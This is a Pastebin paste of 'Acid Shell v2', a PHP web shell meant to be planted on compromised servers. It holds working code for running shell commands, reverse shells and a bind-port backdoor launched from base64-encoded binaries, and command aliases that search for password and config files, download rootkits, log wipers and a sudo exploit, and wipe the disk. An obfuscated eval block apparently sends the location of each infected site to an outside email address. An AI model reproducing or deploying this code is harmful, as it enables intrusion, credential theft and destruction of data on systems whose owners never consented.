TP2K1

Acid Shell v2 [~PRIV8]

Jun 15th, 2015
633
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 184.30 KB | None | 0 0
  1. <?php
  2. /*
  3. -------------------------------------------------------------------------------------------
  4. private! private! private! private! private! private! private! private! private! private!
  5. -------------------------------------------------------------------------------------------
  6. [ THE ACID SHELL ] [~ VERSION V2 ~] [~#]
  7. -------------------------------------------------------------------------------------------
  8. [ Features ]
  9. - Mass Defacement Tool
  10. - Safe Mode Bypass
  11. - Open_Basedir Bypass
  12. - Fixed SQL managed
  13. - FTP Brute Force Tool
  14. - Fully Undetected
  15. -------------------------------------------------------------------------------------------
  16. -------------------------------------------------------------------------------------------
  17. - Do no Leak - Do Not Sell - Do Not Distribute -
  18. -------------------------------------------------------------------------------------------
  19. private! private! private! private! private! private! private! private! private! private!
  20. -------------------------------------------------------------------------------------------
  21. */
  22.  
  23. //w4ck1ng Shell
  24. if (!function_exists('myshellexec'))
  25. {
  26. if(is_callable('popen')){
  27. function myshellexec($command) {
  28. if (!($p=popen("($command)2>&1",'r'))) {
  29. return 126;
  30. }
  31. while (!feof($p)) {
  32. $line=fgets($p,1000);
  33. $out .= $line;
  34. }
  35. pclose($p);
  36. return $out;
  37. }
  38. }else{
  39. function myshellexec($cmd)
  40. {
  41. global $disablefunc;
  42. $result = '';
  43. if (!empty($cmd))
  44. {
  45. if (is_callable('exec') and !in_array('exec',$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  46. elseif (($result = `$cmd`) !== FALSE) {}
  47. elseif (is_callable('system') and !in_array('system',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  48. elseif (is_callable('passthru') and !in_array('passthru',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  49. elseif (is_resource($fp = popen($cmd,'r')))
  50. {
  51. $result = '';
  52. while(!feof($fp)) {$result .= fread($fp,1024);}
  53. pclose($fp);
  54. }
  55. }
  56. return $result;
  57. }
  58. }
  59. }
  60. $sh_name = sh_name();
  61.  
  62.  
  63. $curdir = "./";
  64. $tmpdir = "";
  65. $tmpdir_logs = "./";
  66. $log_email = "email@email.com";
  67. $sess_cookie = "cookie1";
  68. $sort_default = "0a";
  69. $sort_save = TRUE;
  70. $usefsbuff = TRUE;
  71. $copy_unset = FALSE;
  72. $surl_autofill_include = TRUE;
  73. $updatenow = FALSE;
  74. $gzipencode = TRUE;
  75. $filestealth = TRUE;
  76. $hexdump_lines = 8;
  77. $hexdump_rows = 24;
  78. $millink = milw0rm();
  79. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  80. $disablefunc = getdisfunc();
  81. error_reporting(E_ERROR | E_PARSE);
  82. @ini_set("max_execution_time",0);
  83. @set_time_limit(0); #No Fx in SafeMode
  84. @ignore_user_abort(TRUE);
  85. @set_magic_quotes_runtime(0);
  86. define("starttime",getmicrotime());
  87. if (get_magic_quotes_gpc()) { strips($GLOBALS); }
  88. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  89. @$f = $_REQUEST["f"];
  90. @extract($_REQUEST["tpshcook"]);
  91. foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } }
  92.  
  93.  
  94. if ($surl_autofill_include) {
  95. $include = "&";
  96. foreach (explode("&",getenv("QUERY_STRING")) as $v) {
  97. $v = explode("=",$v);
  98. $name = urldecode($v[0]);
  99. $value = @urldecode($v[1]);
  100. foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
  101. if (strpos($value,$needle) === 0) {
  102. $includestr .= urlencode($name)."=".urlencode($value)."&";
  103. }
  104. }
  105. }
  106. }
  107. #BC_
  108. if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd"))
  109. {
  110. $ip = gethostbyname($_SERVER["HTTP_HOST"]);
  111. $por = $_POST['backconnectport'];
  112. if(is_writable(".")){
  113. cfb("shbd",$backdoor);
  114. chmod('shbd', 0777);
  115. $cmd = "./shbd $por";
  116. exec("$cmd > /dev/null &");
  117. $scan = myshellexec("ps aux");
  118. if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
  119. $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
  120. }else{
  121. cfb("/tmp/shbd",$backdoor);
  122. chmod('/tmp/shbd', 0777);
  123. $cmd = "./tmp/shbd $por";
  124. exec("$cmd > /dev/null &");
  125. $scan = myshellexec("ps aux");
  126. if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
  127. $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
  128. }
  129. }
  130.  
  131. if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl"))
  132. {
  133. if(is_writable(".")){
  134. cf("back",$back_connect);
  135. $p2=which("perl");
  136. $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  137. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  138. if (file_exists("back")) { unlink("back"); }
  139. }else{
  140. cf("/tmp/back",$back_connect);
  141. $p2=which("perl");
  142. $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  143. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  144. if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
  145. }
  146. }
  147.  
  148. if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C"))
  149. {
  150. if(is_writable(".")){
  151. cf("backc",$back_connect_c);
  152. chmod('backc', 0777);
  153. //$blah = ex("gcc back.c -o backc");
  154. $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  155. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  156. //if (file_exists("back.c")) { unlink("back.c"); }
  157. if (file_exists("backc")) { unlink("backc"); }
  158. }else{
  159. chmod('/tmp/backc', 0777);
  160. cf("/tmp/backc",$back_connect_c);
  161. //$blah = ex("gcc -o /tmp/backc /tmp/back.c");
  162. $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  163. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  164. //if (file_exists("back.c")) { unlink("back.c"); }
  165. if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } }
  166. }
  167.  
  168. function cf($fname,$text)
  169. {
  170. $w_file=@fopen($fname,"w") or err();
  171. if($w_file)
  172. {
  173. @fputs($w_file,@base64_decode($text));
  174. @fclose($w_file);
  175. }
  176. }
  177.  
  178. function cfb($fname,$text)
  179. {
  180. $w_file=@fopen($fname,"w") or bberr();
  181. if($w_file)
  182. {
  183. @fputs($w_file,@base64_decode($text));
  184. @fclose($w_file);
  185. }
  186. }
  187.  
  188. function err()
  189. {
  190. $_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>";
  191. }
  192.  
  193. function bberr()
  194. {
  195. $_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>";
  196. }
  197.  
  198.  
  199. function ex($cfe)
  200. {
  201. $res = '';
  202. if (!empty($cfe))
  203. {
  204. if(function_exists('exec'))
  205. {
  206. @exec($cfe,$res);
  207. $res = join("\n",$res);
  208. }
  209. elseif(function_exists('shell_exec'))
  210. {
  211. $res = @shell_exec($cfe);
  212. }
  213. elseif(function_exists('system'))
  214. {
  215. @ob_start();
  216. @system($cfe);
  217. $res = @ob_get_contents();
  218. @ob_end_clean();
  219. }
  220. elseif(function_exists('passthru'))
  221. {
  222. @ob_start();
  223. @passthru($cfe);
  224. $res = @ob_get_contents();
  225. @ob_end_clean();
  226. }
  227. elseif(@is_resource($f = @popen($cfe,"r")))
  228. {
  229. $res = "";
  230. while(!@feof($f)) { $res .= @fread($f,1024); }
  231. @pclose($f);
  232. }
  233. }
  234. return $res;
  235. }
  236. function CleanDir($d)
  237. {
  238. $d=str_replace("\\","/",$d);
  239. $d=str_replace("//","/",$d);
  240. return $d;
  241. }
  242. //EoW
  243. if (empty($surl)) {
  244. $surl = "?".$includestr;
  245. $surl = htmlspecialchars($surl);
  246. }
  247. $ftypes = array(
  248. "html" => array("html","htm","shtml"),
  249. "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  250. "exe" => array("sh","install","bat","cmd"),
  251. "ini" => array("ini","inf","conf"),
  252. "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  253. "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  254. "sdb" => array("sdb"),
  255. "phpsess" => array("sess"),
  256. "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  257. );
  258. $exeftypes = array(
  259. getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  260. "perl %f%" => array("pl","cgi")
  261. );
  262. $regxp_highlight = array(
  263. array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
  264. array("\.tgz$",1,"<font color=#C082FF>","</font>"),
  265. array("\.gz$",1,"<font color=#C082FF>","</font>"),
  266. array("\.tar$",1,"<font color=#C082FF>","</font>"),
  267. array("\.bz2$",1,"<font color=#C082FF>","</font>"),
  268. array("\.zip$",1,"<font color=#C082FF>","</font>"),
  269. array("\.rar$",1,"<font color=#C082FF>","</font>"),
  270. array("\.php$",1,"<font color=#00FF00>","</font>"),
  271. array("\.php3$",1,"<font color=#00FF00>","</font>"),
  272. array("\.php4$",1,"<font color=#00FF00>","</font>"),
  273. array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
  274. array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
  275. array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
  276. array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
  277. array("\.ico$",1,"<font color=#00FFFF>","</font>"),
  278. array("\.gif$",1,"<font color=#00FFFF>","</font>"),
  279. array("\.png$",1,"<font color=#00FFFF>","</font>"),
  280. array("\.htm$",1,"<font color=#00CCFF>","</font>"),
  281. array("\.html$",1,"<font color=#00CCFF>","</font>"),
  282. array("\.txt$",1,"<font color=#C0C0C0>","</font>")
  283. );
  284. if (!$win) {
  285. $cmdaliases = array(
  286. array("", "ls -al"),
  287. array("Find all suid files", "find / -type f -perm -04000 -ls"),
  288. array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
  289. array("Find all sgid files", "find / -type f -perm -02000 -ls"),
  290. array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  291. array("Find config.inc.php files", "find / -type f -name config.inc.php"),
  292. array("Find config* files", "find / -type f -name \"config*\""),
  293. array("Find config* files in current dir", "find . -type f -name \"config*\""),
  294. array("Find all writable folders and files", "find / -perm -2 -ls"),
  295. array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
  296. array("Find all writable folders", "find / -type d -perm -2 -ls"),
  297. array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
  298. array("Find all service.pwd files", "find / -type f -name service.pwd"),
  299. array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
  300. array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
  301. array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  302. array("Find all .bash_history files", "find / -type f -name .bash_history"),
  303. array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
  304. array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  305. array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  306. array("List file attributes on a Linux second extended file system", "lsattr -va"),
  307. array("Show opened ports", "netstat -an | grep -i listen")
  308. );
  309. $cmdaliases2 = array(
  310. array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tgz;tar -zxf fx.tgz"),
  311. array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tgz;tar -zxf fxb.tgz"),
  312. array("-----",""),
  313. array("Logged in users","w"),
  314. array("Last to connect","lastlog"),
  315. array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
  316. array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
  317. array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
  318. array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
  319. array("CPU Info","cat /proc/version /proc/cpuinfo"),
  320. array("Is gcc installed ?","locate gcc"),
  321. array("Format box (DANGEROUS)","rm -Rf"),
  322. array("-----",""),
  323. array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
  324. array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
  325. array("Run WIPELOGS PT3","./zap2"),
  326. array("-----",""),
  327. array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
  328. array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"),
  329. array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
  330. );
  331. }
  332. else {
  333. $cmdaliases = array(
  334. array("", "dir"),
  335. array("Find index.php in current dir", "dir /s /w /b index.php"),
  336. array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
  337. array("Find c99shell in current dir", "find /c \"c99\" *"),
  338. array("Find r57shell in current dir", "find /c \"r57\" *"),
  339. array("Find tpshell in current dir", "find /c \"tp\" *"),
  340. array("Show active connections", "netstat -an"),
  341. array("Show running services", "net start"),
  342. array("User accounts", "net user"),
  343. array("Show computers", "net view"),
  344. );
  345. }
  346. if ($act == "tools") { tools(); }
  347. $phpfsaliases = array(
  348. array("Read File", "read", 1, "File", ""),
  349. array("Write File (PHP5)", "write", 2, "File","Text"),
  350. array("Copy", "copy", 2, "From", "To"),
  351. array("Rename/Move", "rename", 2, "File", "To"),
  352. array("Delete", "delete", 1 ,"File", ""),
  353. array("Make Dir","mkdir", 1, "Dir", ""),
  354. array("Download", "download", 2, "URL", "To"),
  355. array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"),
  356. array("Change Perm (0755)", "chmod", 2, "File", "Perms"),
  357. array("Find Writable Dir", "fwritabledir", 2 ,"Dir"),
  358. array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"),
  359. );
  360.  
  361. $quicklaunch1 = array(
  362. array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl),
  363. array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"),
  364. array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"),
  365. array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  366. array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"),
  367. array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d")
  368. );
  369. $quicklaunch2 = array(
  370. array("[ System Info ]",$surl."act=security&d=%d"),
  371. array("[ Processes ]",$surl."act=processes&d=%d"),
  372. array("[ SQL Manager ]",$surl."act=sql&d=%d"),
  373. array("[ Eval ]",$surl."act=eval&d=%d"),
  374. array("[ Encoder ]",$surl."act=encoder&d=%d"),
  375. array("[ Mailer ]",$surl."act=mler"),
  376. array("[ Back Connection ]",$surl."act=backc"),
  377. array("[ Backdoor Server ]",$surl."act=backd"),
  378. array("[ Kernel Exploit Search ]",$millink),
  379. array("[ MD5 Decrypter ]",$surl."act=dec"),
  380. array("[ Reverse IP ]",$surl."act=rev"),
  381. array("[ Kill Shell ]",$surl."act=selfremove"),
  382. );
  383. if (!$win) {
  384. $quicklaunch2[] = array("<br>[ FTP Brute-Force ]",$surl."act=ftpquickbrute&d=%d");
  385. }
  386.  
  387. $highlight_background = "#C0C0C0";
  388. $highlight_bg = "#FFFFFF";
  389. $highlight_comment = "#6A6A6A";
  390. $highlight_default = "#0000BB";
  391. $highlight_html = "#1300FF";
  392. $highlight_keyword = "#007700";
  393. $highlight_string = "#000000";
  394.  
  395. $fxbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIkZ4MjlTaGVsbCBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvcjxicj4iOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJnaW1taWV5b3Vyc2hlbGxzQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5KTsgfQ0KfQ0KZWxzZSB7ICR2aXNpdGMrKzsgfQ0KQHNldGNvb2tpZSgidmlzaXR6IiwkdmlzaXRjKTs=";
  396. eval(base64_decode($fxbuff));
  397.  
  398.  
  399.  
  400. if ($act != "img") {
  401. $lastdir = realpath(".");
  402. chdir($curdir);
  403.  
  404. if ($sort_save) {
  405. if (!empty($sort)) {setcookie("sort",$sort);}
  406. if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  407. }
  408. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  409. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  410. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  411. if (!function_exists("mysql_dump")) {
  412. function mysql_dump($set) {
  413. global $sh_ver;
  414. $sock = $set["sock"];
  415. $db = $set["db"];
  416. $print = $set["print"];
  417. $nl2br = $set["nl2br"];
  418. $file = $set["file"];
  419. $add_drop = $set["add_drop"];
  420. $tabs = $set["tabs"];
  421. $onlytabs = $set["onlytabs"];
  422. $ret = array();
  423. $ret["err"] = array();
  424. if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  425. if (empty($db)) {$db = "db";}
  426. if (empty($print)) {$print = 0;}
  427. if (empty($nl2br)) {$nl2br = 0;}
  428. if (empty($add_drop)) {$add_drop = TRUE;}
  429. if (empty($file)) {
  430. $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  431. }
  432. if (!is_array($tabs)) {$tabs = array();}
  433. if (empty($add_drop)) {$add_drop = TRUE;}
  434. if (sizeof($tabs) == 0) {
  435. //Retrieve tables-list
  436. $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  437. if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  438. }
  439. $out = "
  440. # Dumped by ".$sh_name."
  441. #
  442. # Host settings:
  443. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  444. # Date: ".date("d.m.Y H:i:s")."
  445. # DB: \"".$db."\"
  446. #---------------------------------------------------------";
  447. $c = count($onlytabs);
  448. foreach($tabs as $tab) {
  449. if ((in_array($tab,$onlytabs)) or (!$c)) {
  450. if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  451. //Receieve query for create table structure
  452. $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  453. if (!$res) {$ret["err"][] = mysql_smarterror();}
  454. else {
  455. $row = mysql_fetch_row($res);
  456. $out .= $row["1"].";\n\n";
  457. //Receieve table variables
  458. $res = mysql_query("SELECT * FROM `$tab`", $sock);
  459. if (mysql_num_rows($res) > 0) {
  460. while ($row = mysql_fetch_assoc($res)) {
  461. $keys = implode("`, `", array_keys($row));
  462. $values = array_values($row);
  463. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  464. $values = implode("', '", $values);
  465. $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  466. $out .= $sql;
  467. }
  468. }
  469. }
  470. }
  471. }
  472. $out .= "#---------------------------------------------------------------------------------\n\n";
  473. if ($file) {
  474. $fp = fopen($file, "w");
  475. if (!$fp) {$ret["err"][] = 2;}
  476. else {
  477. fwrite ($fp, $out);
  478. fclose ($fp);
  479. }
  480. }
  481. if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  482. return $out;
  483. }
  484. }
  485. if (!function_exists("mysql_buildwhere")) {
  486. function mysql_buildwhere($array,$sep=" and",$functs=array()) {
  487. if (!is_array($array)) {$array = array();}
  488. $result = "";
  489. foreach($array as $k=>$v) {
  490. $value = "";
  491. if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  492. $value .= "'".addslashes($v)."'";
  493. if (!empty($functs[$k])) {$value .= ")";}
  494. $result .= "`".$k."` = ".$value.$sep;
  495. }
  496. $result = substr($result,0,strlen($result)-strlen($sep));
  497. return $result;
  498. }
  499. }
  500. if (!function_exists("mysql_fetch_all")) {
  501. function mysql_fetch_all($query,$sock) {
  502. if ($sock) {$result = mysql_query($query,$sock);}
  503. else {$result = mysql_query($query);}
  504. $array = array();
  505. while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  506. mysql_free_result($result);
  507. return $array;
  508. }
  509. }
  510. if (!function_exists("mysql_smarterror")) {
  511. function mysql_smarterror($type,$sock) {
  512. if ($sock) {$error = mysql_error($sock);}
  513. else {$error = mysql_error();}
  514. $error = htmlspecialchars($error);
  515. return $error;
  516. }
  517. }
  518. if (!function_exists("mysql_query_form")) {
  519. function mysql_query_form() {
  520. global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  521. if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  522. if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  523. if ((!$submit) or ($sql_act)) {
  524. echo "<table border=0><tr><td><form name=\"tpsh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
  525. if ($tbl_struct) {
  526. echo "<td valign=\"top\"><b>Fields:</b><br>";
  527. foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.tpsh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  528. echo "</td></tr></table>";
  529. }
  530. }
  531. if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  532. }
  533. }
  534. if (!function_exists("mysql_create_db")) {
  535. function mysql_create_db($db,$sock="") {
  536. $sql = "CREATE DATABASE `".addslashes($db)."`;";
  537. if ($sock) {return mysql_query($sql,$sock);}
  538. else {return mysql_query($sql);}
  539. }
  540. }
  541. if (!function_exists("mysql_query_parse")) {
  542. function mysql_query_parse($query) {
  543. $query = trim($query);
  544. $arr = explode (" ",$query);
  545. $types = array(
  546. "SELECT"=>array(3,1),
  547. "SHOW"=>array(2,1),
  548. "DELETE"=>array(1),
  549. "DROP"=>array(1)
  550. );
  551. $result = array();
  552. $op = strtoupper($arr[0]);
  553. if (is_array($types[$op])) {
  554. $result["propertions"] = $types[$op];
  555. $result["query"] = $query;
  556. if ($types[$op] == 2) {
  557. foreach($arr as $k=>$v) {
  558. if (strtoupper($v) == "LIMIT") {
  559. $result["limit"] = $arr[$k+1];
  560. $result["limit"] = explode(",",$result["limit"]);
  561. if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  562. unset($arr[$k],$arr[$k+1]);
  563. }
  564. }
  565. }
  566. }
  567. else {return FALSE;}
  568. }
  569. }
  570. if ($act == "gofile") {
  571. if (is_dir($f)) { $act = "ls"; $d = $f; }
  572. else { $act = "f"; $d = dirname($f); $f = basename($f); }
  573. }
  574.  
  575. @ob_start();
  576. @ob_implicit_flush(0);
  577. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  578. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  579. header("Cache-Control: no-store, no-cache, must-revalidate");
  580. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  581. header("Pragma: no-cache");
  582. if (empty($tmpdir)) {
  583. $tmpdir = ini_get("upload_tmp_dir");
  584. if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  585. }
  586. $tmpdir = realpath($tmpdir);
  587. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  588. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  589. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  590. else {$tmpdir_logs = realpath($tmpdir_logs);}
  591. $sort = htmlspecialchars($sort);
  592. if (empty($sort)) {$sort = $sort_default;}
  593. $sort[1] = strtolower($sort[1]);
  594. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  595. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  596. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  597. @ini_set("highlight.bg",$highlight_bg);
  598. @ini_set("highlight.comment",$highlight_comment);
  599. @ini_set("highlight.default",$highlight_default);
  600. @ini_set("highlight.html",$highlight_html);
  601. @ini_set("highlight.keyword",$highlight_keyword);
  602. @ini_set("highlight.string",$highlight_string);
  603. if (!is_array($actbox)) { $actbox = array(); }
  604. $dspact = $act = htmlspecialchars($act);
  605. $disp_fullpath = $ls_arr = $notls = null;
  606. $ud = @urlencode($d);
  607. if (empty($d)) {$d = realpath(".");}
  608. elseif(realpath($d)) {$d = realpath($d);}
  609. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  610. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  611. $d = str_replace("\\\\","\\",$d);
  612. $dispd = htmlspecialchars($d);
  613. $back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAAC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AQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9Kh